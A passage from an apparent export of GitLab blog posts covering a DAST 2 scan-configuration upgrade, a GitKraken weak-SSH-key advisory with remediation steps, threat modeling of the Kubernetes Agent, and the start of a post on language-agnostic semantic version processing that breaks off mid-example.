auto-update.\n1. Remove deprecated DAST configurations.\n\n### Move to `DAST_ONLY_INCLUDE_RULES` \n\nThe introduction of the `DAST_ONLY_INCLUDE_RULES` CI/CD variable provided a quick way to select ZAP scan rules for execution. Instead of listing out all the rules that need to be excluded from the scan using `DAST_EXCLUDE_RULES`, selected rules for execution could be specified as the value of `DAST_ONLY_INCLUDE_RULES`. This made the job configuration easier because, in our case, the exclusion list was long and dynamic (and kept changing from DAST version to version) but the include list is static and small, making the manual effort involved in scanning more efficient.\n\nFor example, to run two selected scan rules, namely `10020` and `10021` in a DAST CI job, one would have to disable all the other rules using `DAST_EXCLUDE_RULES`, as illustrated below:\n```yaml\nDAST-fullscan:\n  extends:\n    - .dast_conf\n  variables:\n    DAST_USERNAME: \"user1\"\n    DAST_EXCLUDE_RULES: “10019,10037,10054….(all rules except 10020,10021)\n  script:\n     - /analyze -t $DAST_WEBSITE -d\n```\nHowever, using `DAST_ONLY_INCLUDE_RULES`, the long list of exclude rules could be replaced by a short include list:\n```yaml\nDAST-fullscan:\n  extends:\n    - .dast_conf\n  variables:\n    DAST_USERNAME: \"user1\"\n    DAST_ONLY_INCLUDE_RULES: “10020,10021”\n  script:\n     - /analyze -t $DAST_WEBSITE -d\n```\nAlso, using `DAST_ONLY_INCLUDE_RULES` ensures there won’t be an unexpected timeout on any DAST job due to the execution of new scan rules that come with the new DAST analyzer versions. \n\n### Update DAST analyzer to version 2 and enable auto-update\n\nAs I mentioned above, the version of the DAST analyzer in [gitlab-org/gitlab’s](https://gitlab.com/gitlab-org/gitlab) CI/CD pipeline was pinned to `1.22.1` as a workaround for preventing job timeouts. Now, with the introduction of the `DAST_ONLY_INCLUDE_RULES` CI/CD variable, DAST auto-update could be turned on and version upgrade from 1 to 2 could be carried out in the pipeline without any worry of job failures from timeout.  Both of these were achieved by updating the value of `DAST_VERSION` CI/CD variable to `2`. You can read more about [configuring the DAST version](https://docs.gitlab.com/ee/user/application_security/dast/#include-the-dast-template) in our docs. \n\n### Remove deprecated DAST configurations\n\nIn DAST 2.0, [multiple DAST config CI variables were removed](https://gitlab.com/gitlab-org/security-products/dast/-/merge_requests/460), so any use of them in our pipeline also needed to be removed. One such variable was `DAST_AUTH_EXCLUDE_URLS`, which was previously used to specify the URLs to skip during the authenticated scan. This was replaced with `DAST_EXCLUDE_URLS`.\n\n## Dogfooding for the win\n\nIn addition to being able to reduce CI job complexity in GitLab’s DAST pipeline with the upgrade to version 2, our GitLab Security team was able to identify areas for improvement, including the addition of [a misconfiguration detection feature](https://gitlab.com/gitlab-org/gitlab/-/issues/340814) and a [reusable configuration section in DAST template](https://gitlab.com/gitlab-org/gitlab/-/issues/340420), as well as the identification of a [bug causing long URLs in the evidence section not to wrap](https://gitlab.com/gitlab-org/gitlab/-/issues/341050).\n\n## Our next steps for DAST\nOur next goal is to start dogfooding the DAST API scan and beta features like [browser-based scans](https://docs.gitlab.com/ee/user/application_security/dast/browser_based.html) to identify pain points from a user perspective and remediate them. \n\nTo stay on top of new DAST releases and cool features that come with them, head over to the [DAST release page](https://gitlab.com/gitlab-org/security-products/dast/-/releases).\n\nAlso, are you looking to try out DAST 2, but feeling baffled by the configurations mentioned here? Well, don't be! GitLab also provides quick and easy ways to [enable automatic DAST scan](https://docs.gitlab.com/ee/user/application_security/dast/#enable-automatic-dast-run) with minimal manual configuration.\n\nWe’d love to hear your experience configuring DAST scans and feedback on ways to improve the user experience. Drop us a comment below! \n\nCover image by [Ksenia Chernaya](https://www.pexels.com/@kseniachernaya) on [Pexels](https://www.pexels.com/photo/modern-professional-equipment-for-checking-eyesight-5752269/).\n",[14],{"slug":3890,"featured":6,"template":677},"how-were-using-dast2-for-easier-scan-configuration","content:en-us:blog:how-were-using-dast2-for-easier-scan-configuration.yml","How Were Using Dast2 For Easier Scan Configuration","en-us/blog/how-were-using-dast2-for-easier-scan-configuration.yml","en-us/blog/how-were-using-dast2-for-easier-scan-configuration",{"_path":3896,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3897,"content":3902,"config":3906,"_id":3908,"_type":16,"title":3909,"_source":17,"_file":3910,"_stem":3911,"_extension":20},"/en-us/blog/notice-for-gitkraken-users-with-gitlab",{"title":3898,"description":3899,"ogTitle":3898,"ogDescription":3899,"noIndex":6,"ogImage":3429,"ogUrl":3900,"ogSiteName":767,"ogType":768,"canonicalUrls":3900,"schema":3901},"Notice for GitKraken users with GitLab","How we responded to Axosoft’s GitKraken software vulnerability affecting SSH keys and actions users should take.","https://about.gitlab.com/blog/notice-for-gitkraken-users-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Notice for GitKraken users with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2021-10-11\",\n      }",{"title":3898,"description":3899,"authors":3903,"heroImage":3429,"date":3904,"body":3905,"category":14},[3435],"2021-10-11","We’re sharing details on a vulnerability found with the Axosoft GitKraken software. Axosoft found a defect in the key gen package used by GitKraken versions 7.6.0 to 8.0.0 that could generate weak or duplicate SSH keys. This could enable an attacker to gain unauthorized access to an account or repositories on GitLab.com or a self-managed instance.\n\nBased on our investigations to date, there is no indication that GitLab.com or any projects on GitLab.com that use the GitKraken tool have been impacted by this vulnerability.\n\n## Who is affected?\n\nThis vulnerability affects GitKraken users who created SSH keys using GitKraken releases from May 12, 2021 (7.6.0) to the week of September 27, 2021 (8.0.0). \n\nGitKraken 8.0.1, released on September 28, 2021, fixes the bug.  \n\n## Action we have taken\n\n* We have emailed users with affected keys earlier today, October 11, 2021. \n* For GitLab.com customers, we have already blocked known weak keys.\n\n## If affected, action you need to take\n\nIf you used a version of GitKraken prior to 8.0.1 to generate SSH keys, we highly recommend that you take the following actions:\n\n**Self-managed customers:**\n\n1. **Revoke the SSH keys immediately.** For additional instructions, see: [https://docs.gitlab.com/ee/administration/credentials_inventory.html#delete-a-users-ssh-key](https://docs.gitlab.com/ee/administration/credentials_inventory.html#delete-a-users-ssh-key) \n\n2. Update GitKraken to the latest version: [https://support.gitkraken.com/release-notes/current/](https://support.gitkraken.com/release-notes/current/) \n\n3. Generate new SSH keys: [https://support.gitkraken.com/integrations/gitlab/#generating-an-ssh-key-for-gitlab](https://support.gitkraken.com/integrations/gitlab/#generating-an-ssh-key-for-gitlab) \n\n**GitLab.com customers:**\n\n1. Update GitKraken to the latest version: [https://support.gitkraken.com/release-notes/current/](https://support.gitkraken.com/release-notes/current/) \n\n2. Generate new SSH keys: [https://support.gitkraken.com/integrations/gitlab/#generating-an-ssh-key-for-gitlab](https://support.gitkraken.com/integrations/gitlab/#generating-an-ssh-key-for-gitlab)  \n\nMore information can be found in Axosoft’s disclosure: [https://www.gitkraken.com/blog/weak-ssh-key-fix](https://www.gitkraken.com/blog/weak-ssh-key-fix) \nand in CVE-2021-41117.\n\nFor questions or concerns regarding GitKraken or its use with GitLab, please contact Axosoft (support@gitkraken.com). For questions concerning your GitLab account, please contact our [Support department](https://support.gitlab.com/).",{"slug":3907,"featured":6,"template":677},"notice-for-gitkraken-users-with-gitlab","content:en-us:blog:notice-for-gitkraken-users-with-gitlab.yml","Notice For Gitkraken Users With Gitlab","en-us/blog/notice-for-gitkraken-users-with-gitlab.yml","en-us/blog/notice-for-gitkraken-users-with-gitlab",{"_path":3913,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3914,"content":3920,"config":3925,"_id":3927,"_type":16,"title":3928,"_source":17,"_file":3929,"_stem":3930,"_extension":20},"/en-us/blog/threat-modeling-kubernetes-agent",{"title":3915,"description":3916,"ogTitle":3915,"ogDescription":3916,"noIndex":6,"ogImage":3917,"ogUrl":3918,"ogSiteName":767,"ogType":768,"canonicalUrls":3918,"schema":3919},"Threat modeling the Kubernetes Agent: from MVC to continuous improvement","Learn how we put our threat model into action iteratively and expanded the process into a full-fledged standalone activity.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682156/Blog/Hero%20Images/pexels-jesus-miron-garcia-3043592.jpg","https://about.gitlab.com/blog/threat-modeling-kubernetes-agent","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Threat modeling the Kubernetes Agent: from MVC to continuous improvement\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vitor Meireles De Sousa\"}],\n        \"datePublished\": \"2021-10-11\",\n      }",{"title":3915,"description":3916,"authors":3921,"heroImage":3917,"date":3904,"body":3923,"category":14,"tags":3924},[3922],"Vitor Meireles De Sousa","\n\nThreat modeling is more common in people’s everyday lives than they might think.  Each of us performs some level of threat modeling every time we’re in a situation where we’re evaluating threats. An everyday example I really like: crossing the street. Before we cross the street we look both ways, we evaluate the speed of each oncoming vehicle and verify the driver has seen us. Finally, if the lights are green, we cross the street. This is threat modeling!\n\n_If you’re interested in learning more about what threat modeling is and how we’re developing our threat model here at GitLab, you can read about [“How we’re creating a threat model framework that works for GitLab“](/blog/creating-a-threat-model-that-works-for-gitlab/) by my teammate [Mark Loveless](/company/team/#mloveless)._\n\n## Threat modeling IRL\n\nIn this blog post I’ll talk about how we put our threat modeling process into action iteratively with an in-depth look into how we developed the process from a security assessment with a side of threat modeling to a full-fledged standalone activity.  \n\n### Our threat modeling MVC\n\nWe rolled out the initial iteration of the GitLab threat model in November of 2020. One of the first projects we assessed through that new process was GitLab’s [Kubernetes Agent](https://docs.gitlab.com/ee/user/clusters/agent/) beta. At that time, my colleague [Joern Schneeweisz](/company/team/#joernchen) performed an initial threat model, which was actually more of a security assessment in which threat modeling activities were incorporated. In this [data flow diagram](/handbook/security/threat_modeling/howto.html#tools-and) from our initial threat model, you can see how the [architecture for the Kubernetes Agent looked in May 2020](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/f374356751aec8cb65b9dea4de3ba618805c2414/docs/architecture.md):\n\n```mermaid\ngraph TB\n  agentk -- gRPC bidirectional streaming --> kgb\n\n  subgraph \"GitLab\"\n  kgb[kgb]\n  GitLabRoR[GitLab RoR] -- gRPC --> kgb\n  kgb -- gRPC --> Gitaly[Gitaly]\n  kgb -- REST API --> GitLabRoR\n  end\n\n  subgraph \"Kubernetes cluster\"\n  agentk[agentk]\n  end\n```\n\nThis first review, despite our threat model being early stage, still allowed us to identify issues and findings (like the Agent exposing public projects with private repositories [(fixed with this merge request)](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48314) or the Agent name being vulnerable to path traversal attacks [(fixed with this merge request)](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/37564)) that benefited our security and the broader engineering teams. Plus, the cross-organizational feedback we received during this iteration was key to improving our threat model integration and templates.\n\n### Increasing capabilities expand the threats\n\nFour months had passed since the initial assessment; it was time to revisit our previous findings and to review the expanded capabilities of the Kubernetes Agent feature. The [architecture had also evolved](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/154f538c997b4064294a54695846092c348bada8/doc/architecture.md#high-level-architecture), and at a high level we can see the product is changing names (`kgb` changed to `kas`, for Kubernetes Agent Server (KAS)). \n\n```mermaid\ngraph TB\n  agentk -- gRPC bidirectional streaming --> nginx\n\n  subgraph \"GitLab\"\n  nginx -- proxy pass port 5005 --> kas\n  kas[kas]\n  GitLabRoR[GitLab RoR] -- gRPC --> kas\n  kas -- gRPC --> Gitaly[Gitaly]\n  kas -- REST API --> GitLabRoR\n  end\n\n  subgraph \"Kubernetes cluster\"\n  agentk[agentk]\n  end\n```\n\nBy this time the threat modeling template we were using had evolved, and our [Application Security team](/handbook/security/security-engineering/application-security/) had used it in several other reviews. \n\nGitLab’s practice of [dogfooding](https://handbook.gitlab.com/handbook/values/#dogfooding) means we use issues to track our reviews. At the time of this second review, our threat modeling template now had a more structured approach where reviewers had sections that would 1) guide them throughout the review 2) require them to provide specific information.\n\nBecause our process was more robust now we moved the threat modeling activity of our security assessments into a dedicated repository, giving us a single source of truth. [The template](https://gitlab.com/gitlab-com/gl-security/security-research/threat-modeling-template/-/blob/3486ca53baf13d4aaba28dd340df153b2b83ea05/threat_model.md) had evolved to also include:\n\n* An “Application decomposition” section where the reviewer must enter details such as use case, external entry points, trust levels, data flow diagram, previous security issues and known references and best practices.\n* A dedicated threat analysis section.\n* The use of issue comments to detail each section of the threat modeling allowing us to easily reference sections individually via direct link.\n* The conversion and merge of the completed issue to an MD file, saved into the dedicated repository for future use. \n\n### What is better than iteration? More iteration\n\nSince our second review in October 2020, the Kubernetes Agent feature had evolved significantly, so we performed another assessment in February 2021. The difference this time was that we now had a [formal threat modeling process in place](/handbook/security/threat_modeling/). \n\n**To better understand the Kubernetes Agent feature, we added more details to our architectural diagram:**\n\n_Legend:_\n* Dotted arrows/flow: out of scope of the Architecture or TM\n* grpc: Google Remote Procedure Call\n* grpcs: grpc over SSL/TLS\n* ws: WebSocket\n* wss: ws over SSL/TLS\n\n![Detailed architectural diagram of the Kubernetes Agent](https://about.gitlab.com/images/blogimages/threat-modeling-KA/ka-architectural-diagram.png){: .shadow.medium.center}\nDetailed architectural diagram of the Kubernetes Agent.\n{: .note.text-center}\n\n\n**The data flow diagram we were using also evolved:**\n\n_Legend:_\n* Dotted arrows/flow: out of scope of the architecture or threat model\n* grpc: Google remote procedure call\n* grpcs: grpc over SSL/TLS\n* ws: WebSocket\n* wss: ws over SSL/TLS\n\n![file name](https://about.gitlab.com/images/blogimages/threat-modeling-KA/ka-data-flow.png){: .shadow.medium.center}\nAn evolved data flow diagram for the Kubernetes Agent.\n{: .note.text-center}\n\nAnd, naturally, as the features evolved, the threats evolved. Through our latest threat modeling we discovered that:\n\n* Listeners are used by the Agent and the KAS for observability and health checking. These listeners are unrestricted but they do listen on localhost by default.\n* On GitLab’s side, developers would be able to deploy an application to another cluster on another corporate network. This is limited by Kubernetes' own authorisations defined for each cluster.\n* While brainstorming for threats, we thought about whether a user would be able to access unauthorised projects through indirect access on Gitaly. Thankfully, this is well mitigated since a few conditions are necessary: \n     * A user must have access to the Agent's pod\n     * A user must be able to modify and reply to requests from the Agent pod \n          * However, each Agent also needs to submit a secret token, otherwise the [request is denied](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/5b7ca0b9fbc8daba28ca552dc26aab45e482cf0c/internal/module/agent_configuration/server/server.go#L55) (using [GitLab's client](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/5b7ca0b9fbc8daba28ca552dc26aab45e482cf0c/internal/gitlab/client.go)) GetAgentInfo implementation. That implementation [generates and passes a JWT token](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/5b7ca0b9fbc8daba28ca552dc26aab45e482cf0c/internal/gitlab/client.go#L108-123), along with the [Agent token](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/5b7ca0b9fbc8daba28ca552dc26aab45e482cf0c/internal/gitlab/do_options.go#L103-109). The Agent must also be configured to consult only authorised repositories, which makes it impossible for a user to access other repositories from the Agent.\n* On local installations, it’s possible to use unencrypted communications between the Kubernetes Agent and the KAS. However, on gitlab.com we have enforced secure communications.\n\n## Continuous improvement and iteration\n\nThreat modeling, just like anything in security, isn’t something you do once and are done with it. As we’ve seen with the reviews we’ve performed on the Kubernetes Agent, threat modeling involves iteration and constant adoption of ever-changing features and attack surfaces of a product.\n\nOur threat model is now mature enough that it's an established process, performed as a separate review and merged into a dedicated repository at completion. In the future, we hope to be able to publicly share those threat models to help customers, the community and to continue strengthening our [hackerone program](https://hackerone.com/gitlab).\n\nFor the next iterations we’re looking for broad adoption of threat modeling across GitLab's engineering teams and beyond. We plan to use our threat model as a way to improve  [asynchronous communication](/company/culture/all-remote/asynchronous/) between the different [security stable counterparts](/handbook/security/security-engineering/application-security/stable-counterparts.html) that operate across the organization. These stable counterparts ensure security practices are integrated early on in the development process and also allow us to ensure better coverage across vacations and time zones.\n\n## About Kubernetes\n\nUntil then, if you’re interested in more threat modeling details specific to Kubernetes itself, I highly recommend the [Kubernetes Security Audit Working Group Kubernetes threat model](https://github.com/kubernetes/community/tree/d538271e3f5eed22429ded165aeb2557c6277967/wg-security-audit). One of my fellow GitLab teammates, [Marco Lancini](/company/team/#mlancini) has published a great post, [“The Current State of Kubernetes Threat Modelling”](https://www.marcolancini.it/2020/blog-kubernetes-threat-modelling/) on his personal blog which contains useful information on different methods used to perform a threat model for Kubernetes. \n\n## How to threat model\n\nAnd, if you’re interested in how we’re rolling out threat modeling across GitLab, to teams beyond Security and Engineering, we’ve been tweaking our [how to threat model](/handbook/security/threat_modeling/howto.html) guide to help as many team members as possible understand what threat modeling is and how and where to get started. Perhaps you’ll find some helpful tips and tricks there.\n\nAnd, keep an eye on this space, we’re planning to revisit threat modeling in blog posts where we’ll dive deeper into the PASTA methodology we’re using and take a closer look at what threat modeling looks like in practice here at GitLab.\n\nHave something to share? Comment below or find me on twitter at [@muffinbox33](https://twitter.com/Muffinbox33).\n\n_Also, I would like to take a moment to thank the Configure team and [Mikhail](/company/team/#ash2k) for their awesome collaboration during the various threat models we have performed._\n\nHappy threat modeling!\n\nCover image by [Jesús Mirón García](https://www.pexels.com/@jesus-miron-garcia-1583477?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels) on [Pexels](https://www.pexels.com/photo/timelapse-photography-of-vehicles-on-road-3043592/?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels)\n{: .note}\n\n\n## Read more on Kubernetes: \n\n- [How to install and use the GitLab Kubernetes Operator](/blog/gko-on-ocp/)\n\n- [How to deploy the GitLab Agent for Kubernetes with limited permissions](/blog/setting-up-the-k-agent/)\n\n- [A new era of Kubernetes integrations on GitLab.com](/blog/gitlab-kubernetes-agent-on-gitlab-com/)\n\n- [Understand Kubernetes terminology from namespaces to pods](/blog/kubernetes-terminology/)\n\n- [What we learned after a year of GitLab.com on Kubernetes](/blog/year-of-kubernetes/)\n",[14],{"slug":3926,"featured":6,"template":677},"threat-modeling-kubernetes-agent","content:en-us:blog:threat-modeling-kubernetes-agent.yml","Threat Modeling Kubernetes Agent","en-us/blog/threat-modeling-kubernetes-agent.yml","en-us/blog/threat-modeling-kubernetes-agent",{"_path":3932,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3933,"content":3938,"config":3943,"_id":3945,"_type":16,"title":3946,"_source":17,"_file":3947,"_stem":3948,"_extension":20},"/en-us/blog/generic-semantic-version-processing",{"title":3934,"description":3935,"ogTitle":3934,"ogDescription":3935,"noIndex":6,"ogImage":3760,"ogUrl":3936,"ogSiteName":767,"ogType":768,"canonicalUrls":3936,"schema":3937},"SemVer versioning: how we handled it with linear interval arithmetic","SemVer versioning made it difficult to automate processing. We turned to linear interval arithmetic to come up with a unified, language-agnostic semantic versioning approach.","https://about.gitlab.com/blog/generic-semantic-version-processing","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"SemVer versioning: how we handled it with linear interval arithmetic\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Julian Thome\"}],\n        \"datePublished\": \"2021-09-28\",\n      }",{"title":3934,"description":3935,"authors":3939,"heroImage":3760,"date":3940,"body":3941,"category":14,"tags":3942},[1208],"2021-09-28","\nThe [semantic versioning (SemVer) specification](https://semver.org/) can be\nconsidered the de-facto standard for tracking software states during its\nevolution. Unfortunately, in reality many languages/ecosystems practice \"SemVer versioning\" and have not adopted\nthe standard as-is; instead we can find many different semantic versioning\nflavors that are not necessarily compatible with the original SemVer spec. SemVer Versioning has\nled to the creation of a variety of different semantic versioning schemes.\n\nGitLab provides a [Dependency Scanning (DS)](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/)\nfeature that automatically detects vulnerabilities in the dependencies of a\nsoftware project for a variety of different languages. DS relies on the\n[GitLab Advisory Database](https://gitlab.com/gitlab-org/security-products/gemnasium-db)\nthat is updated on a daily basis providing information about\nvulnerable packages that is expressed in the package-specific (native)\nsemantic version dialect. GitLab also recently launched an [Open Source Edition](https://gitlab.com/gitlab-org/advisories-community) of the GitLab Advisory Database.\n\nAt GitLab we use a semi-automated process for advisory generation: we extract\nadvisory data that includes package names and vulnerable versions from\ndata-sources such as [NVD](https://nvd.nist.gov/) and generate advisories that\nadhere to the GitLab advisory format before they are curated and stored in our\n[GitLab Advisory Database](https://gitlab.com/gitlab-org/security-products/gemnasium-db).\n\nThe plethora of SemVer versioning in the wild posed a major\nchallenge for the level of automation we could apply in the advisory generation\nprocess: the different semantic version dialects prevented us from building\ngeneric mechanisms around version matching, version verification (i.e., the\nprocess of verifying whether or not versions are available on the relevant package\nregistry), fixed version inference etc. Moreover, since advisory generation\nrequires us to extract and update advisory data on scale from data-sources with\nhundreds of thousands vulnerability entries, translating and/or verifying\nversions by hand is not a viable, scalable solution.\n\nHaving a generic method to digest and process a variety of different SemVer versioning dialects was an important building block for automating large parts of the advisory generation process. This led to the development of\n[semver_dialects](https://gitlab.com/gitlab-org/vulnerability-research/foss/semver_dialects), a\nutility that helps processing semantic versions in a generic, language-agnostic manner which\nhas been recently open-sourced (MIT) and [published on rubygems.org](https://rubygems.org/gems/semver_dialects).\n\n## Understand the SemVer spec\n\nThe SemVer spec is the de-facto standard for tracking states of software projects during their evolution\nby associating unique, comparable version numbers to distinct states, and by\nencoding semantic properties into the semantic version strings so that a version\nchange implicitly conveys information about the nature of the change.  \n\nA semantic version consists of a prefix (version core) and a suffix that hold\npre-release and/or build information. A version core consists of three numeric\ncomponents that are delimited by `.`:\n\n* major: backwards-incompatible changes\n* minor: new backwards-compatible functionality\n* patch: backwards-compatible bug fixes\n\nConsidering a software project using SemVer, with two releases `1.0.0` and\n`1.0.1`, by just looking at the change applied to the semantic version strings,\nit is clear that `1.0.1` is a newer (more recent) release of the software, whereas version\n`1.0.0` is an older release. In addition, the version number `1.0.1`\nrepresents an improved state of the software as compared to version `1.0.0` which contained a bug\nthat has been fixed in version `1.0.1`. This fix is signalled by the higher number of the patch version component.\n\nSemantic version processing is particularly useful in the context of [Dependency Scanning (DS)](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/). DS is the process of automatically detecting (and potentially fixing)\nvulnerabilities related to the dependencies of a software project: dependencies\nof a software project are checked against a set of configuration files (so\ncalled advisories) that contain information about vulnerable dependencies;\nadvisories usually include the versions of the vulnerable dependency.\nVulnerable versions are usually expressed in terms of version intervals: for example [this out-of-bounds read vulnerability for the Python tensorflow package](https://nvd.nist.gov/vuln/detail/CVE-2021-29560) contains information about the vulnerable version by listing the four version intervals below:\n\n1. up to 2.1.4\n1. from 2.2.0 up to 2.2.3\n1. from 2.3.0 up to 2.3.3\n1. from 2.4.0 up to 2.4.2\n\nWhile SemVer is very concise and clear about the syntax and semantic of\nsemantic versions, it does not specify how to express and represent semantic\nversion constraints. In addition, SemVer is purposefully simplistic to foster\nits adoption. In practice it seems as if many ecosystems required features that\ngo beyond SemVer which led to the development of many SemVer versioning flavours as well\nas a variety of different native constraint matching syntaxes, some of which\ndeviate from the official SemVer specification.  Depending on the ecosystem you\nare working with, the same semantic version string may be treated/interpreted\ndifferently: for example both Maven and pip/PyPI treat versions `1.2.3.SP`\ndifferently because pip/PyPI lacks the notion of an `SP` post release. Apart\nfrom that, `1.2.3.SP` cannot be considered a valid semantic version according\nto the SemVer spec.\n\nToday we have a variety of different semantic versioning schemes:\n\n- `gem`: [gem requirement](https://guides.rubygems.org/specification-reference/#add_runtime_dependency)\n- `maven`: [Maven Dependency Version Requirement Specification](https://maven.apache.org/pom.html#Dependency_Version_Requirement_Specification)\n- `npm`: [node-semver](https://github.com/npm/node-semver#ranges)\n- `php`: [PHP Composer version constraints](https://getcomposer.org/doc/articles/versions.md#writing-version-constraints)\n- `pypi`: [PEP440](https://www.python.org/dev/peps/pep-0440/#version-specifiers)\n- `go`: [go semver](https://godoc.org/golang.org/x/tools/internal/semver)\n- `nuget`: [NuGet semver](https://docs.microsoft.com/en-us/nuget/concepts/package-versioning)\n- `conan`: [node-semver flavour](https://github.com/npm/node-semver#ranges)\n\nThis SemVer versioning fragmentation limited the degree of automation we could apply to our\nadvisory extraction/generation process. This limitation motivated the\ndevelopment of a methodology and tool [semver_dialects](https://gitlab.com/gitlab-org/vulnerability-research/foss/semver_dialects) that helps to digest and process semantic versions in a language agnostic way and, hence, helps to reduce the manual advisory curation effort.\n\nBelow, you can see an excerpt of the advisory information that is extracted and\ngenerated by our semi-automated advisory generation process:\n\n```yaml\n# ...\naffected_range: \">=1.9,\u003C=2.7.1||==2.8\"\nfixed_versions:\n- \"2.7.2\"\n- \"2.8.1\"\nnot_impacted: \"All versions before 1.9, all versions after 2.7.1 before 2.8, all versions\n  after 2.8\"\nsolution: \"Upgrade to versions 2.7.2, 2.8.1 or above.\"\n# ...\n```\n\nIn the excerpt above:\n\n- `affected_range` denotes the range of affected versions which is the machine-readable, native syntax used by the package manager/registry (in this case pypi).\n- `fixed_versions` denotes the concrete versions when the vulnerability has been fixed.\n- `not_impacted` provides a textual description of the versions that are not affected.\n- `solution` provides information about how to remediate the vulnerability.\n\nTo be able to extract and generate advisories like the one illustrated\nabove in a language/ecosystem agnostic way, we implemented and open-sourced a\ngeneric semantic version representation and processing approach called\nsemver_dialects.\n\nIn the advisory excerpt above, the `affected_range` field contains the version\nconstraints in the native constraint syntax (in this case PyPI for Python);\n`fixed_versions` can be inferred by inverting the `affected_version` (i.e.,\nnon-affected versions) and by selecting the first available  version that falls\ninto the range of non-affected versions from the native package registry; this step\nrequires our approach to be able to parse the native semantic version syntax.\n\nIn order to deal with SemVer versioning and automatically process and generate the fields according to this\ndescription, our [semver_dialects](https://gitlab.com/gitlab-org/vulnerability-research/foss/semver_dialects) implementation had to satisfy the following requirements:\n\n1. Provide a unified interface to the language specific dialects.\n1. Match semantic versions in a language agnostic way.\n1. Invert ranges.\n1. Cope with scattered, non-consecutive ranges.\n1. Parse and produce different version syntaxes.\n1. Parse and match versions/constraints in a best-effort manner.\n\n## SemVer versioning representation\n\nFirst, we need a generic representation of a semantic version to start with. We\nassume that a semantic version is composed of prefix and suffix where the\nprefix contains segments for major, minor and patch version components as defined in the\nSemVer specification. The suffix may hold additional information about pre/post\nreleases etc. As illustrated below, the major, minor and patch prefix segments\ncan be accessed by means of the corresponding methods.\n\n``` ruby\ns1 = SemanticVersion.new('1.2.3')\nputs \"segments: #{s1}\"\n# segments: 1:2:3\nputs \"major #{s1.major}\"\n# major 1\nputs \"minor #{s1.minor}\"\n# minor 2\nputs \"patch #{s1.patch}\"\n# patch 3\n```\n\nWe cannot generally assume that all provided versions we would like to process\nfully adhere to the SemVer spec which requires a version prefix (core) to\nconsist of three segments: major, minor and patch. Hence, per default, we\nremove redundant, trailing zeros from the prefix to ensure that\n`2.0.0`, `2.0` and `2` are considered identical.\n\n[Semver_dialects](https://gitlab.com/gitlab-org/vulnerability-research/foss/semver_dialects) translates language specific version suffixes into numeric values. This process\ncan be described as version normalization.  For example the Maven (pre-)release\ncandidate version `2.0.0.RC1` can be translated to a numeric representation\nwith prefix: `2` and suffix `-1:1` by mapping `RC` to a numeric value (in this\nexample `-1`) and, thus, rendering it numerically comparable.\n\nAfter this normalization step, semantic version matching for two versions `vA`\nand `vB` can be implemented by simply numerically comparing their segments in a\npairwise fashion.  For unknown suffices that are not mappable to the numeric\ndomain, we use lexical matching as a default fallback strategy.\n\nIn summary, comparing two semantic versions is a two-step process:\n\n1. Normalization: Extend both semantic versions to have the same prefix length and suffix\n   lengths by appending zeros.\n1. Comparison: Iterate over segments and compare each of them numerically.\n\nFor example, after normalizing the versions `2.0.0.RC1` and `2.0.0` to `2:-1:1`\nand `2:0:0`, respectively, we can iterate over the segments (delimited by\n`:` in the example) which we can compare numerically to successfully identify\n`2:-1:1` as being the smaller (release-candidate) version in comparison to\n`2:0:0`.\n\n## Constraint syntax - everything is a linear interval\n\nTranslating semantic versions into a generic representation makes them\nnumerically comparable which is already useful but not sufficient to express SemVer versioning constraints in a language-agnostic fashion.\n\nFor representing semantic version constraints in a generic way,\nwe rely on linear intervals.  For the purpose of this blog, we define an interval as an ordered pair of two\nsemantic versions which we are referring to as lower and upper\nbounds (or cuts). For the sake of simplicity, for the remainder of\nthis section we will use simple integers as examples for lower and upper bounds, respectively.\n\nLinear intervals capture semantic version ranges symbolically which makes them\nvery versatile and space efficient. At the same time, we can rely on\nwell-established mathematical models borrowed from linear interval arithmetic\nthat enable us to translate/express any type of constraint in terms of\nmathematical set operations on intervals.\n\nIn the table below you can find all the different types of intervals we\nconsidered to model semantic version constraints and a corresponding\ndescription where `L` stands for left, `R` stands for right with `a` and `b`\nbeing the lower and upper bounds, respectively.\n\n| Type of interval | Example                    | Description                               |\n| ---------------- | ---------------------------| ----------------------------------------- |\n| LR-closed        |  `[a,b]: x >= a, x \u003C= b`   | all versions starting from a until b      |\n| L-open R-closed  |  `(a,b]: x > a, x \u003C= b`    | all versions after a until b              |\n| L-closed R-open  |  `[a,b): x >= a, x \u003C b`    | all versions starting from a before b     |\n| LR-open          |  `(a,b): x > a, x \u003C b`     | all versions between a and b              |\n| L-unbounded      |  `(-inf,b]: x \u003C= b`        | all versions until b                      |\n| R-unbounded      |  `[a,+inf): x >= a`        | all versions starting from a              |\n\nBelow you can see example output for the different types of ranges from\n[semver_dialects](https://gitlab.com/gitlab-org/vulnerability-research/foss/semver_dialects) where we are using the `VersionParser` component to generate\nlinear intervals from version constraints where `,` denotes a logical\nconjunction: e.g., `>=1, \u003C=2` denotes the set of integers that are greater than or equal\nto 1 *and* smaller than or equal to two, i.e., all integers/versions numbers starting from 1 until 2.\n\n``` ruby\nputs VersionParser.parse(\">=1, \u003C=2\")\n# [1,2]\nputs VersionParser.parse(\">1, \u003C=2\")\n# (1,2]\nputs VersionParser.parse(\">=1, 